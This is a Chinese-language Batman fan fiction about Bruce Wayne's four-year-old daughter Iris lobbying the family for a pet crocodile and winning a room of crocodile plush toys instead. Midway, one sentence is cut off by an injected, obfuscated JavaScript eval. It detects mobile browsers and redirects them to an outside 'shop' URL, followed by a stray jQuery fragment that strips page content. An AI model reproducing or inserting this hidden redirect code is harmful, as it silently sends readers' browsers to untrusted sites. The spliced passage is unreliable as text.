哥谭从不祈祷。
这不是什么规矩，只是事实。这座城市的夜晚属于尖叫、警报和雨，属于恶人的狂笑和义警的沉默。祈祷在教堂里，在烛火前，在病床边——而哥谭太久没等来过回应。
但那夜不同。
蝙蝠侠坠入黑暗。不是比喻，不是夸张。他真的在下坠，火光从他身侧呼啸而过，他的披风像折断的翅膀。哥谭在那一秒收紧了心脏。
于是有人说了一声谢谢。
没有名字，没有对象，只是对着虚空，对着那抹坠落的身影。
第二天清晨，韦恩大宅的门阶上多了一个襁褓。
浅灰黑色头发，碧蓝眼睛，像哥谭海面倒映的晴天。
——
艾瑞斯·韦恩四岁零三个月。她终于拜托了她的“嗜睡症”和她的小床挥手告别然后目的明确的跑进布鲁斯的房间
她是世界上最喜欢鳄鱼的小女孩——这个“最”字是她自己加的，并且愿意和任何人打赌。
她以前也不这样的。四岁生日那天，阿福给她放动物纪录片当睡前节目，她本来抱着小熊玩偶昏昏欲睡，直到屏幕里传来一声低沉浑厚的鸣叫。
艾瑞斯猛地坐起来。
“那是什么？”
“短吻鳄，小姐。”
“它叫得好听。”
阿福顿了顿，礼貌地没有反驳。
昨天晚起，艾瑞斯的人生有了新的方向。
——
周六早晨七点十四分，布鲁斯·韦恩还在做梦。
具体是什么梦他不记得了，只知道梦里没有小丑、没有阴谋，他难得地放松了眉头。然后他感觉有人在拱他的被子。
一只毛虫。
不，是他的女儿。
艾瑞斯正以一种不可思议的姿势在床上翻滚，从床头滚到床尾，又从床尾滚回床头，浅灰黑的头发炸成一蓬小狮子鬃毛。她滚到布鲁斯枕边，停下来，用那双蓝汪汪的眼睛盯着他。
布鲁斯没睁眼。
“爸爸。”
他假装没听见。毕竟艾瑞斯在早晨这个时候是绝对不会起床的。
“爸——爸——”
艾瑞斯伸出手，精准地揪住他命运的后背衣角，用力一扯。
布鲁斯被迫从侧躺翻成平躺。他睁开眼，对上女儿那张理直气壮的小脸。
“我要养鳄鱼。”
布鲁斯眨了眨眼。
他刚醒。他四岁的女儿正跪在他床上，揪着他的睡衣，用宣布“我要吃冰淇淋”的语气宣布要养鳄鱼。他的大脑还在加载。
“……什么？”
艾瑞斯的手劲更大了。布鲁斯抓住自己岌岌可危的被角，终于舍得坐起来——然后被劈头盖脸糊了一堆鳄鱼图片。
他女儿不知道什么时候偷偷用了提姆办公室的打印机。彩色墨水。全是鳄鱼。
“这是短吻鳄，”艾瑞斯指着其中一张，声音清脆，“这是长吻鳄，这是凯门鳄，这是扬子鳄，这是——”
“等等。”布鲁斯按住图片，“你从哪弄来的这些？”
“阿福帮我查的。”艾瑞斯理直气壮，“他说知识是通往愿望的桥梁。”
阿福，布鲁斯在心里记了一笔。
艾瑞斯已经整个人趴到床边，仰着小脸，眼睛亮晶晶地望着他。那种眼神，布鲁斯只在超人脸上见过——一种“我真的真的很想要”的、毫无保留的渴望。
他沉默了三秒。
“不行。”
艾瑞斯的笑容凝固了。
艾瑞斯没有哭。
她只是把鳄鱼图片一张一张收好，踮着脚从床上爬下去，站在地板上，背对着布鲁斯。
然后她回头看了他一眼。
那一眼里没有委屈，没有泪花，只有一种平静的、近乎幽怨的目光。
布鲁斯忽然有一种不祥的预感。
——
第一天，厨房。
阿尔弗雷德正在准备午餐。蔬菜汁在搅拌机里旋转出健康的绿色。他转过身，看见门口站着一个小小的身影。
艾瑞斯抱着胳膊，倚在门框上，表情严肃。
“潘尼沃斯先生。”
阿福挑起眉毛。小姐只有在非常正式的时候才会叫他“潘尼沃斯先生”。
“您觉得鳄鱼是好的动物吗？”
阿福放下搅拌机。这个问题比他预想的要棘手。
“鳄鱼是自然界的重要组成部分，小姐。”
艾瑞斯点点头。“那您觉得韦恩家应不应该支持自然保护？”
阿福沉默了两秒。
“您父亲对此的态度是……？”
艾瑞斯没有回答。她只是用那双蓝眼睛静静望着他，眼里满是失望。
阿福叹了口气。
“蔬菜汁。”他温和地说，“您今天的配额。”
艾瑞斯盯着那杯绿幽幽的液体看了三秒，转身走了。
阿福成功驱赶。但他知道这只是开始。
客厅。
迪克难得回大宅，正窝在沙发里刷手机。一道小小的黑影从走廊窜出来，精准地扑进他怀里。
迪克下意识接住，低头对上小团子软乎乎的脸。
“艾瑞斯！”他惊喜，“想哥哥了？”
艾瑞斯点点头，把脸埋进他胸口蹭了蹭。
迪克的心化成了一滩蜜。他搂紧妹妹，正要开口说带她去吃冰淇淋——
“迪克。”
“嗯？”
“你喜欢现在的名字吗？”
迪克愣了一下。“啊？”
艾瑞斯抬起脸，表情天真而认真。“如果你不支持我养鳄鱼，那以后你就只能叫鳄鱼了。”
迪克：“……”
迪克：“……这是什么新的威胁方式吗？”
艾瑞斯没有否认。面无表情装出一副大人样，像一只等待答案的小猫。
迪克张了张嘴。他想说我当然支持你，但那是布鲁斯的管辖范围；他想说要不你去找提姆试试，但这样出卖弟弟好像不太好；他还想说你怎么不威胁达米安——
但最后他什么都没说出口。因为艾瑞斯那双眼睛实在太蓝了，蓝得像哥谭难得晴朗的天，蓝得像某种他无法拒绝的东西。
“……我中立。”他艰难地说。
艾瑞斯非常不满意的在迪克怀里扭动脱离怀抱，从他腿上滑下去，跑向楼梯。
迪克躺在沙发上，久久没有动弹。他觉得自己好像做错了什么，又好像什么都没做错。
花园。
达米安刚打算练刀。
他五岁起就跟塔利娅学习格斗，七岁就能放倒成年刺客，如今十一岁，已经能在不伤及植物的情况下削断三米外飘落的叶片。
他轻叹一口气。
然后他一转身，对上一双静静望着他的眼睛。
艾瑞斯蹲在灌木丛边，不知道藏了多久。
“你在这做什么？”
艾瑞斯没有回答。她只是蹲在那里，浅灰黑的头发上沾了一片叶子，看起来像一只迷路的小动物。
达米安皱起眉。他不擅长应付这个。他可以和刺客对打，可以和超人过招，但他不知道该怎么应对一个四岁妹妹的沉默注视。
“……你想说什么？”他硬邦邦地问。
艾瑞斯站起来，拍拍膝盖上的土。
“你不想吗？”
达米安：“想什么？”
艾瑞斯走近一步。
她的声音很轻，像恶魔低语。
“养鳄鱼。”
达米安沉默。
他当然知道这件事。全大宅都知道。杰森已经在群里发了一百条“我支持艾瑞斯什么时候投票”，提姆设置了消息免打扰，布鲁斯这几天肉眼可见地在逃避回家。
达米安本人对鳄鱼没有意见。鳄鱼是高效的捕食者，是侏罗纪的活化石，是值得尊敬的物种。他甚至觉得韦恩庄园完全可以辟出一块湿地——
但他是布鲁斯的儿子。他不能就这么叛变。
“父亲不同意。”他说。
艾瑞斯歪着头，等待下文。
达米安握紧刀柄。“……我认为他的判断有待商榷。”
艾瑞斯眼睛亮了。
——
当天晚上，战局初步形成。
布鲁斯阵营：布鲁斯本人，阿尔弗雷德（名义上），提姆（划水）。
艾瑞斯阵营：艾瑞斯本人，杰森（狂热支持者），达米安（沉默的共犯）。
迪克：持续中离中。
提姆觉得自己很无辜。
他只是在书房处理公司文件，门就被推开了。艾瑞斯抱着一只鳄鱼玩偶）今天阿福安慰她刚买的）走进来，爬上他对面的椅子，端端正正坐好。
提姆警惕地看着她。
“你有什么事吗？”艾瑞斯问。
“……什么？”
艾瑞斯把玩偶放在桌上，正色道，“想养一只水中小狗吗……它们不挑食，不占地方，还可以看家护院。”
提姆按了按太阳穴。
“艾瑞斯……”
“是钱的问题吗？爸爸有很多钱。”
“也不是钱的问题……”
“那是空间的问题吗？庄园很大。”
“是安全问题。”提姆尽量耐心，“鳄鱼是野生动物，不适合家养。而且——”
他顿住了。
艾瑞斯正低头抠玩偶的毛，声音小了下去。
“可是它们很可爱。”
提姆沉默了。
他想起自己十岁那年在屋顶拍到的蝙蝠侠。那张照片模糊、失焦，是他跟拍了三晚才抓到的瞬间。他把照片洗出来，贴在自己的小暗房里，每天晚上对着它睡觉。
那时候他也觉得蝙蝠侠很可爱。
不是那种可爱。是那种“世界很大很冷但有你存在就很好”的可爱。
“……我中立。”提姆说。
艾瑞斯抬起眼睛。
“但是，”提姆打开电脑，“我可以帮你做一份鳄鱼饲养可行性报告。万一布鲁斯哪天改主意呢。”
艾瑞斯抱着玩偶跳下椅子，跑到他身边，踮起脚。
提姆低下头。
艾瑞斯在他脸颊上响亮地亲了一口。
晚上，布鲁斯·韦恩站在自己的卧室门口，发现门缝底下塞了一封信。
淡绿色信封，用贴纸封口，上面歪歪扭扭写着“给爸爸”。
他拆开。
信纸被折成一只鳄鱼的形状（可能是鳄鱼，他不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244852|197845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很确定）。展开来，里面是艾瑞斯的笔迹，字母还写得不太整齐，有些地方有橡皮擦过的痕迹。
【亲爱的爸爸：
鳄鱼真的很乖。
它们不会吵，不会咬人，不会吃小动物。
我可以自己喂它，自己打扫，自己负责。
我真的很想要一只鳄鱼。
如果你让我养，我以后就不在早餐时挑胡萝卜了。
（括号：胡萝卜真的不能灭绝吗？爸爸你也不能挑食。）
爱你的艾瑞斯】
布鲁斯把信看了三遍，一时之间也不知道这个三分钟热度的孩子怎么能这么闹腾。
他把信折好，放进口袋，走到走廊尽头的儿童房。门虚掩着，里面亮着一盏小夜灯。他轻轻推开门。
艾瑞斯已经睡着了。
她侧躺在一堆玩偶中间，怀里抱着最大的一只，脸埋在玩偶软绒绒的肚皮上。月光从窗帘缝隙透进来，照在她安静的睡脸上。
布鲁斯在床边站了很久。
他想起那个没有祈祷的夜晚。他想起坠落时风割过面罩的缝隙，想起哥谭的钟楼在视野里越来越小，想起身体撞击水面时的剧痛。他不记得自己是怎么回到蝙蝠洞的，也不记得是谁替他处理了伤口。
他只记得第二天清晨，阿福抱着襁褓站在门厅，说：“先生，门阶上有一个孩子。”
那孩子的眼睛像哥谭晴天的海面。
布鲁斯俯下身，把被子往上拉了拉。艾瑞斯在睡梦中动了动，咕哝了一声，把鳄鱼玩偶抱得更紧。
——
第二天早晨，艾瑞斯跑进餐厅。
她的鳄鱼军团——整整十二只玩偶（杰森战友友情捐赠）——在餐桌旁列队。她自己站在队伍最前面，表情庄严。
布鲁斯坐在主位，面前放着一杯咖啡。
艾瑞斯深吸一口气。
“爸爸——”
“我考虑过了。”
艾瑞斯的话卡在喉咙里。
布鲁斯放下咖啡杯。
“活鳄鱼不行，你现在太小了。”
艾瑞斯的脸垮下来。
“但是，”布鲁斯说，“你可以有一屋子会叫的鳄鱼玩偶。”
艾瑞斯愣住了。
布鲁斯从椅子旁边拿出一个巨大的箱子。箱子上印着鳄鱼的图案，角落里写着“声控互动仿真鳄鱼——按下按钮会发出真实叫声”。
艾瑞斯呆呆地望着箱子，又抬头望向布鲁斯。
她的嘴巴张了张，哼哼唧唧。
然后她像一颗小炮弹一样扑进布鲁斯怀里，撞得他闷哼一声。
“我长大能养吗”
他抬手揉了揉她蓬乱的头发。
“不行。”
艾瑞斯就跳出布鲁斯的怀抱。
刚刚还在父慈女孝这一刻就翻船了。
……
那天下午，艾瑞斯拥有了整整一屋子的鳄鱼玩偶。她还是挺高兴的。
大的小的，软的硬的，会叫的不会叫的，其中一只按下肚子会唱生日歌。杰森自告奋勇帮她拆包装，达米安在门口站了十分钟，假装路过，最后还是进来帮忙摆位置。提姆端着咖啡坐在角落，用手机录了一段艾瑞斯抱着新玩偶转圈的视频。
迪克终于从外地赶回来，看到满屋鳄鱼倒吸一口气，然后被艾瑞斯拽着给每一只起名字。
阿福站在走廊，望着房间里热闹的景象，轻轻弯起唇角。
布鲁斯靠在门框边，没有进去。
他看着艾瑞斯坐在鳄鱼玩偶堆成的山顶，举着最小的一只，像狮子王里的加冕。她笑得眼睛弯起来，露出缺了一颗的门牙。
“布鲁斯！”她宣布。
杰森笑得捶地。提姆呛到了咖啡。达米安别过脸，肩膀在抖。
布鲁斯沉默了两秒。
“……那只是短吻鳄。”
艾瑞斯眨眨眼。“对呀。”
她低头亲了亲玩偶的额头。
布鲁斯没有再说话。
——
那天晚上，布鲁斯独自坐在书房。
他的手机屏幕亮着，是一封没有发出的邮件。收件人是克拉克·肯特。
【你有没有遇到过这种情况——
算了。】
他删掉了。
窗外哥谭的夜空依然沉重，依然没有星星。蝙蝠灯亮起来了，蝙蝠车在车库里等待出动。
布鲁斯把艾瑞斯那封鳄鱼形状的信压在书桌玻璃板下面，压在他父母的照片旁边。
他垂着眼睛看了很久。
然后他听见门边传来轻轻的脚步声。他转过头。
艾瑞斯抱着那只叫布鲁斯的鳄鱼玩偶，站在门口，睡眼惺忪。
“爸爸。”
“嗯。”
“你怎么还不睡觉。”
“等会儿睡。”
艾瑞斯揉揉眼睛，走过来，熟练地爬上他的腿，窝进他怀里。鳄鱼玩偶挤在两人中间，扁扁的肚子被压得发出咕的一声。
布鲁斯没有动。
窗外是哥谭的夜。窗内是他四岁的女儿，抱着一只鳄鱼玩偶。在他以为艾瑞斯会要求一起晚睡时，艾瑞斯拖着玩偶回房间了。
布鲁斯：第一次体会到失宠的感觉……